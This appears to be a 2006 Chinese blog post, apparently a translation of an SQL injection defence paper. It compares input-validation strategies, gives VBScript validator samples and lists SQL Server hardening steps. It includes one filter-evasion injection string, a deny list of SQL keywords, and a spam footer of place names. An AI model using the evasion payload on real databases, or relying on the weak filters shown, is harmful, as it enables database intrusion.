          輸入驗(yàn)證是一個復(fù)雜的題目。比較有代表性的是,自從過于嚴(yán)密地確認(rèn)傾向于引起部分應(yīng)用程序的暫停,輸入確認(rèn)問題很難被解決,在項(xiàng)目開發(fā)中投入很少的注意力在輸入確認(rèn)上。輸入確認(rèn)不是傾向于將它加入到應(yīng)用程序的功能當(dāng)中,因此它一般會被忽視。
          下面是一個含有簡單代碼的討論輸入確認(rèn)的大綱。這個簡單的代碼不能直接用于應(yīng)用程序中,但是它十分清晰地闡明了不同的策略。
          不同的數(shù)據(jù)確認(rèn)方法可以按以下分類:
          1) 努力修改數(shù)據(jù)使它成為正確的
          2) 拒絕被認(rèn)為是錯誤的輸入
          3) 只接收被認(rèn)為是正確的輸入
          第一種情況有一些概念上的問題;首先,開發(fā)人員沒必要知道那些是錯誤數(shù)據(jù),因?yàn)樾碌腻e誤數(shù)據(jù)的形式始終被發(fā)現(xiàn)。其次,修改數(shù)據(jù)會引起上面描述過的數(shù)據(jù)的長度問題。最后,二次使用的問題包括系統(tǒng)中已經(jīng)存在數(shù)據(jù)的重新使用。
          第二種情況也存在第一種情況中的問題;已知的錯誤輸入隨著攻擊技術(shù)的發(fā)展變化。
          第三種情況可能是三種中最好的,但是很難實(shí)現(xiàn)。
          從安全角度看合并第二種方法和第三種方法可能是最好的方法——只允許正確的輸入,然后搜索輸入中已知的錯誤數(shù)據(jù)。
          帶有連接符號的姓名的問題對于體現(xiàn)合并兩種方法的必要性是一個好的例子:
          Quentin Bassington-Bassington
          我們必須在正確輸入中允許連接符號,但是我們也意識到字符序列'—'對SQL SERVER很重要。
          當(dāng)合并修改數(shù)據(jù)和字符序列確認(rèn)時,會出現(xiàn)另一個問題。例如,如果我們應(yīng)用一個錯誤過濾在除去單引號之后去探測'—','select'和'union',攻擊者可以輸入:
          uni'on sel'ect @@version-'-
          既然單引號被除去,攻擊者可以簡單地散布單引號在自己的錯誤的字符串中躲避被發(fā)現(xiàn)。
          這有一些確認(rèn)代碼的例子:
          方法一——過濾單引號
          function escape(input)
          input=replace(input,"'","''")
          escape=input
          end function

          方法二——拒絕已知的錯誤輸入
          function validate_string(input)
          known_bad=array("select","insert","update","delete","drop","—","'")
          validate_string=true
          for i=lbound(known_bad) to ubound(known_bad)
          if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
          validate_string=false
          exit function
          end if
          next
          end function

          方法三——只允許正確的輸入
          function validatepassword(input)
          good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
          validatepassword=true
          for i=1 to len(input)
          c=mid(input,I,1)
          if(InStr(good_password_chars,c)=0) then
          validatepassword=false
          exit function
          end if
          next
          end function

          [SQL SERVER鎖定]
          在這指出的重要一點(diǎn)是鎖定SQL SERVER是必要的;外面的是不安全的。這是一個但創(chuàng)建SQL SERVER時需要做的事情的簡短的列表:
          1.確定連接服務(wù)器的方法
          a.確定你所使用的網(wǎng)絡(luò)庫是可用的,那么使用"Network Utility"
          2.確定哪些帳戶是存在的
          a.為應(yīng)用程序的使用創(chuàng)建一個低權(quán)限的帳戶
          b.刪除不必要的帳戶
          c.確定所有帳戶有強(qiáng)壯的密碼;執(zhí)行密碼審計
          3.確定哪些對象存在
          a.許多擴(kuò)展存儲過程能被安全地移除。如果這樣做了,應(yīng)該移除包含在擴(kuò)展存儲過程代碼中的'.dll'文件
          b.移除所有示例數(shù)據(jù)庫——例如'northwind'和'pubs'數(shù)據(jù)庫
          4.確定哪寫帳戶能過使用哪些對象
          a.應(yīng)用程序進(jìn)入數(shù)據(jù)庫所使用的帳戶應(yīng)該有保證能夠使用它需要的對象的最小權(quán)限
          5.確定服務(wù)器的補(bǔ)丁
          a.針對SQL SERVER有一些緩沖區(qū)溢出和格式化字符串攻擊,也有一些其他的安全補(bǔ)丁發(fā)布。應(yīng)該存在很多。
          6.確定什么應(yīng)該被日志記錄,什么應(yīng)該在日志中結(jié)束。

          posted on 2006-01-17 19:53 EricWong 閱讀(393) 評論(0)  編輯  收藏 所屬分類: Sql server
          主站蜘蛛池模板: 永靖县| 迭部县| 琼海市| 敖汉旗| 丹东市| 平塘县| 四子王旗| 宁强县| 张家港市| 惠东县| 绥德县| 富平县| 万宁市| 资源县| 嘉黎县| 福泉市| 普定县| 南阳市| 福安市| 南城县| 行唐县| 宣威市| 新邵县| 桐庐县| 隆子县| 定南县| 聂拉木县| 灌云县| 库车县| 长岛县| 手游| 登封市| 右玉县| 万源市| 武义县| 驻马店市| 海门市| 丽水市| 黑山县| 昆山市| 乌拉特中旗|